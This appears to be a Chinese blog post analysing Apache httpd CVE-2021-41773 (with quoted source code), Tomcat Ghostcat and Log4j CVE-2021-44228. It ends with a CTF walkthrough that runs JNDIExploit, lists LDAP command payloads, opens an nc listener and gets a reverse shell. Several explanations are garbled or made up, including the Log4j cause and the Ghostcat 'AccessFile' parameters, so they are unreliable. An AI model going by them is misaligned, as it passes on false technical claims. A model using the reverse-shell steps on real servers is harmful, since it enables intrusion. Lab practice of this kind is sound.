- Apache httpd CVE-2021-41773分析:
存在漏洞的代码:
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* Besides "OPTIONS *", a request-target should start with '/'
* per RFC 7230 section 5.3, so anything else is invalid.
*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
* this restriction (e.g. for subrequest file lookups).
*/
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
do {
l++;
} while (!IS_SLASH_OR_NUL(path[l]));
continue;
}
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
do {
l++;
} while (IS_SLASH(path[l]));
continue;
}
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
path[w++] = path[l++];
}
path[w] = '\0';
return ret;
}
代码作用是对 URL 路径进行规范化处理
函数检查传入的路径是否以反斜杠开头,如果不是,根据传入的flag参数进行处理。如果标志参数中没有设置允许使用相对路径的 AP_NORMALIZE_ALLOW_RELATIVE 选项或路径长度为零返回 0,否则将长度初始化为零,进入一个 while 循环
遍历整个路径字符串,过程中,检测到路径中包含被误编码的特定字符,例如 “%20” ,则解码并转换为原始字符,如果flag参数中设置了去除路径参数的 AP_NORMALIZE_DROP_PARAMETERS 选项,则会移除路径中的参数部分,检测到路径中包含 “../” ,则会将相对路径上升一级(除了根目录的上一级)。如果多个连续的 “../” 出现在路径中,则可能会升至非期望的上级目录,从而导致任意文件读取漏洞(如果攻击者能够在路径中注入 “../” )。这个漏洞可以通过限制上升路径的次数和路径长度来解决。
一, Apache Tomcat文件包含漏洞CVE-2020-1938(Ghostcat)
分析:
Apache Tomcat 的 AJP 协议无法正确处理 JAVA/TOMCAT 应用中的 JSP 文件,攻击者利用这个漏洞可以通过 HTTP 协议发送恶意的 AJP 请求,从而绕过身份验证并读取包括 WEB-INF 目录下的敏感文件,漏洞发生在两个类,org.apache.coyote.ajp.AbstractAjpProcessor 和 org.apache.coyote.ajp.AjpAprProcessor,根本原因是因为恶意请求中的 AccessFile 或 ReadOnlyFile 参数可以重写到,在 Tomcat 服务器上读取敏感文件。攻击者可以通过发送特制的 AJP 请求,然后使用 AccessFile 参数表示要读取的敏感文件的位置,网上公开的处理代码。
三,Apache Log4j 2.x RCE CVE-2021-44228
分析:漏是由 Apache Logging Service 项目的 Log4j 库中存在的一个安全漏洞导致。由于在线展示、突显或轮换锁死块的错误使得攻击者能够注入展示在日志文件中的恶意日志,从而触发远程代码执行,可以通过此漏洞获得可远程执行代码的权限,并在受影响的服务器上执行任意命令,如删除文件、创建新用户等,从而实现攻击目的
复现过程:
CTF秀地址:https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730
检测地址:nslog.cn
点击GET获取
输入payload
有访问记录漏洞存在,随后下载jar包
JNDIExploit-1.2-SNAPSHOT.jar
root@VM-4-11-ubuntu:/home/ubuntu# java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
#-u查看可用payload,这里列出了一小部分
root@VM-4-11-ubuntu:/home/ubuntu# java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/[cmd]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
反弹shell:
root@ubuntu:/home/ubuntu/Lj java -jar JNDIExploit-1.2-SNAPSHOT.jar -i yourip -p 2333
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 2333...
开启监听:
root@ubuntu:/home/ubuntu/Lj# nc -lvp 1099随后提交payload:ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]成功反弹并找出flag:
本网站内容及资料来源于网络,并不代表本站观点和对其真实性负责,也不构成任何其他建议;部分内容是由网友自主投稿和发布、编辑整理上传,对此类内容本站仅提供交流平台,不为其版权负责;所提供的信息,只供参考之用,不保证信息的准确性、有效性、及时性和完整性;如果您发现网站上有侵犯您的知识产权的内容,请与我们取得联系,我们会及时修改或删除。文章版权归作者所有,原创作品未经允许请勿转载。投诉请联系:admin@chnhonker.com
暂无评论内容